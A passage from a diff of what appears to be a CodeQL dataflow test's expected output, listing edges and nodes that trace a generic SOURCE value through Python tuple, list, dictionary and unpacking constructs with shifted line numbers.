test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | +| test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:590:31:590:36 | ControlFlowNode for SOURCE | +| test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:590:31:590:36 | ControlFlowNode for SOURCE | test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:593:5:593:19 | ControlFlowNode for List [List element, List element] | test.py:593:6:593:14 | IterableSequence [List element] | +| test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | +| test.py:593:5:593:19 | IterableElement [Tuple element at index 0] | test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:593:5:593:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:593:5:593:19 | IterableElement [Tuple element at index 0] | +| test.py:593:6:593:14 | ControlFlowNode for List [List element] | test.py:593:5:593:19 | ControlFlowNode for List [List element, List element] | +| test.py:593:6:593:14 | ControlFlowNode for List [List element] | test.py:593:7:593:8 | SSA variable a1 | +| test.py:593:6:593:14 | ControlFlowNode for List [List element] | test.py:593:11:593:13 | IterableElement | +| test.py:593:6:593:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:593:6:593:14 | IterableElement | test.py:593:6:593:14 | ControlFlowNode for List [List element] | +| test.py:593:6:593:14 | IterableSequence [List element] | test.py:593:6:593:14 | ControlFlowNode for List [List element] | +| test.py:593:6:593:14 | IterableSequence [List element] | test.py:593:6:593:14 | IterableElement | +| test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | test.py:593:6:593:14 | ControlFlowNode for List [Tuple element at index 0] | +| test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | test.py:593:6:593:14 | IterableElement | +| test.py:593:7:593:8 | SSA variable a1 | test.py:594:10:594:11 | ControlFlowNode for a1 | +| test.py:593:11:593:13 | IterableElement | test.py:593:11:593:13 | SSA variable a2 [List element] | +| test.py:593:11:593:13 | SSA variable a2 [List element] | test.py:596:12:596:13 | ControlFlowNode for a2 [List element] | +| test.py:593:11:593:13 | SSA variable a2 [List element] | test.py:597:10:597:11 | ControlFlowNode for a2 [List element] | +| test.py:596:12:596:13 | ControlFlowNode for a2 [List element] | test.py:596:12:596:16 | ControlFlowNode for Subscript | +| test.py:597:10:597:11 | ControlFlowNode for a2 [List element] | test.py:597:10:597:14 | ControlFlowNode for Subscript | +| test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:602:7:602:13 | IterableSequence [Tuple element at index 0] | +| test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:602:7:602:13 | IterableSequence [Tuple element at index 2] | +| test.py:602:7:602:8 | SSA variable a1 | test.py:603:10:603:11 | ControlFlowNode for a1 | +| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:602:7:602:8 | SSA variable a1 | +| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:602:11:602:13 | IterableElement | +| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:602:11:602:13 | IterableElement | +| test.py:602:7:602:13 | IterableSequence [Tuple element at index 0] | test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:602:7:602:13 | IterableSequence [Tuple element at index 2] | test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:602:11:602:13 | IterableElement | test.py:602:11:602:13 | SSA variable a2 [List element] | +| test.py:602:11:602:13 | SSA variable a2 [List element] | test.py:605:12:605:13 | ControlFlowNode for a2 [List element] | +| test.py:602:11:602:13 | SSA variable a2 [List element] | test.py:606:10:606:11 | ControlFlowNode for a2 [List element] | +| test.py:605:12:605:13 | ControlFlowNode for a2 [List element] | test.py:605:12:605:16 | ControlFlowNode for Subscript | +| test.py:606:10:606:11 | ControlFlowNode for a2 [List element] | test.py:606:10:606:14 | ControlFlowNode for Subscript | +| test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:611:7:611:13 | IterableSequence [Tuple element at index 0] | +| test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:611:7:611:13 | IterableSequence [Tuple element at index 2] | +| test.py:611:5:611:19 | IterableElement [Tuple element at index 0] | test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:611:5:611:19 | IterableElement [Tuple element at index 2] | test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:611:5:611:19 | IterableElement [Tuple element at index 0] | +| test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | test.py:611:5:611:19 | IterableElement [Tuple element at index 2] | +| test.py:611:7:611:8 | SSA variable a1 | test.py:612:10:612:11 | ControlFlowNode for a1 | +| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:611:7:611:8 | SSA variable a1 | +| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:611:11:611:13 | IterableElement | +| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:611:11:611:13 | IterableElement | +| test.py:611:7:611:13 | IterableSequence [Tuple element at index 0] | test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:611:7:611:13 | IterableSequence [Tuple element at index 2] | test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:611:11:611:13 | IterableElement | test.py:611:11:611:13 | SSA variable a2 [List element] | +| test.py:611:11:611:13 | SSA variable a2 [List element] | test.py:614:12:614:13 | ControlFlowNode for a2 [List element] | +| test.py:611:11:611:13 | SSA variable a2 [List element] | test.py:615:10:615:11 | ControlFlowNode for a2 [List element] | +| test.py:614:12:614:13 | ControlFlowNode for a2 [List element] | test.py:614:12:614:16 | ControlFlowNode for Subscript | +| test.py:615:10:615:11 | ControlFlowNode for a2 [List element] | test.py:615:10:615:14 | ControlFlowNode for Subscript | +| test.py:620:6:620:14 | ControlFlowNode for List [List element] | test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:620:6:620:14 | ControlFlowNode for List [List element] | test.py:620:7:620:8 | SSA variable a1 | +| test.py:620:6:620:14 | ControlFlowNode for List [List element] | test.py:620:11:620:13 | IterableElement | +| test.py:620:6:620:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:620:6:620:14 | IterableElement | test.py:620:6:620:14 | ControlFlowNode for List [List element] | +| test.py:620:6:620:14 | IterableSequence [List element] | test.py:620:6:620:14 | ControlFlowNode for List [List element] | +| test.py:620:6:620:14 | IterableSequence [List element] | test.py:620:6:620:14 | IterableElement | +| test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | test.py:620:6:620:14 | ControlFlowNode for List [Tuple element at index 0] | +| test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | test.py:620:6:620:14 | IterableElement | +| test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:620:6:620:14 | IterableSequence [List element] | +| test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | +| test.py:620:7:620:8 | SSA variable a1 | test.py:621:10:621:11 | ControlFlowNode for a1 | +| test.py:620:11:620:13 | IterableElement | test.py:620:11:620:13 | SSA variable a2 [List element] | +| test.py:620:11:620:13 | SSA variable a2 [List element] | test.py:623:12:623:13 | ControlFlowNode for a2 [List element] | +| test.py:620:11:620:13 | SSA variable a2 [List element] | test.py:624:10:624:11 | ControlFlowNode for a2 [List element] | +| test.py:623:12:623:13 | ControlFlowNode for a2 [List element] | test.py:623:12:623:16 | ControlFlowNode for Subscript | +| test.py:624:10:624:11 | ControlFlowNode for a2 [List element] | test.py:624:10:624:14 | ControlFlowNode for Subscript | +| test.py:715:16:715:21 | ControlFlowNode for SOURCE | test.py:718:10:718:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | | datamodel.py:13:1:13:6 | GSSA Variable SOURCE | semmle.label | GSSA Variable SOURCE | @@ -529,233 +529,233 @@ nodes | test.py:199:34:199:39 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:200:10:200:10 | ControlFlowNode for x [List element] | semmle.label | ControlFlowNode for x [List element] | | test.py:200:10:200:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:336:10:336:21 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:336:11:336:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:336:11:336:17 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:340:10:340:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:340:10:340:20 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:340:11:340:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:344:10:344:22 | ControlFlowNode for Dict [Dictionary element at key s] | semmle.label | ControlFlowNode for Dict [Dictionary element at key s] | -| test.py:344:10:344:27 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:344:16:344:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:367:10:367:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:367:28:367:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:375:10:375:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:375:30:375:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:383:10:383:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:383:10:383:43 | KwUnpacked b | semmle.label | KwUnpacked b | -| test.py:383:30:383:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:383:36:383:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | -| test.py:391:10:391:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:391:33:391:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | -| test.py:399:10:399:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:399:39:399:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:420:10:420:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:420:10:420:38 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | -| test.py:428:10:428:39 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | -| test.py:428:34:428:39 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:452:10:452:18 | ControlFlowNode for f() | semmle.label | ControlFlowNode for f() | -| test.py:452:12:452:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:459:10:459:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:459:28:459:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:473:10:473:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:473:30:473:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:487:10:487:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:487:10:487:43 | KwUnpacked b | semmle.label | KwUnpacked b | -| test.py:487:30:487:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:487:36:487:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | -| test.py:492:10:492:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:492:33:492:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | -| test.py:497:10:497:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:497:39:497:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:509:9:509:14 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:511:10:511:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:516:10:516:10 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | -| test.py:521:10:521:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:522:5:522:5 | SSA variable a | semmle.label | SSA variable a | -| test.py:522:5:522:8 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:523:10:523:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:529:10:529:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:529:30:529:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:530:5:530:5 | SSA variable a | semmle.label | SSA variable a | -| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:530:9:530:12 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | -| test.py:530:12:530:12 | SSA variable c | semmle.label | SSA variable c | -| test.py:531:10:531:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:533:10:533:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | -| test.py:538:9:538:33 | ControlFlowNode for List [List element, List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element, List element] | -| test.py:538:10:538:21 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | -| test.py:538:11:538:20 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:538:12:538:19 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:538:13:538:18 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | -| test.py:539:5:539:11 | IterableElement [List element, List element] | semmle.label | IterableElement [List element, List element] | -| test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element] | -| test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | -| test.py:539:5:539:14 | IterableElement [List element, List element, List element] | semmle.label | IterableElement [List element, List element, List element] | -| test.py:539:5:539:14 | IterableSequence [List element, List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element, List element] | -| test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:539:6:539:10 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:539:6:539:10 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:539:7:539:9 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:539:7:539:9 | IterableElement | semmle.label | IterableElement | -| test.py:539:7:539:9 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:539:8:539:8 | SSA variable a | semmle.label | SSA variable a | -| test.py:540:10:540:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:546:10:546:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:546:18:546:23 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:547:5:547:5 | SSA variable a | semmle.label | SSA variable a | -| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:547:8:547:9 | IterableElement | semmle.label | IterableElement | -| test.py:547:8:547:9 | SSA variable b [List element] | semmle.label | SSA variable b [List element] | -| test.py:548:10:548:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:550:10:550:10 | ControlFlowNode for b [List element] | semmle.label | ControlFlowNode for b [List element] | -| test.py:550:10:550:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:556:11:556:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:556:12:556:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:556:31:556:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:556:40:556:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:556:41:556:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:559:6:559:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:559:6:559:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:559:7:559:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:559:7:559:16 | IterableElement | semmle.label | IterableElement | -| test.py:559:7:559:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:559:7:559:16 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:559:7:559:16 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | -| test.py:559:7:559:16 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | -| test.py:559:11:559:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:559:15:559:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:560:10:560:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:561:12:561:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:562:10:562:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:567:5:567:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:567:5:567:24 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:567:7:567:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:567:7:567:16 | IterableElement | semmle.label | IterableElement | -| test.py:567:7:567:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:567:7:567:16 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:567:7:567:16 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | -| test.py:567:7:567:16 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | -| test.py:567:11:567:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:567:15:567:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:568:10:568:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:569:12:569:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:570:10:570:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:575:6:575:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:575:6:575:17 | IterableElement | semmle.label | IterableElement | -| test.py:575:6:575:17 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:575:6:575:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:575:6:575:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:575:7:575:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:575:11:575:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:575:15:575:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:576:10:576:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:577:12:577:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:578:10:578:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:584:12:584:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:584:31:584:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | -| test.py:587:5:587:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | -| test.py:587:6:587:14 | IterableElement | semmle.label | IterableElement | -| test.py:587:6:587:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:587:7:587:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:587:11:587:13 | IterableElement | semmle.label | IterableElement | -| test.py:587:11:587:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:588:10:588:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:590:12:590:13 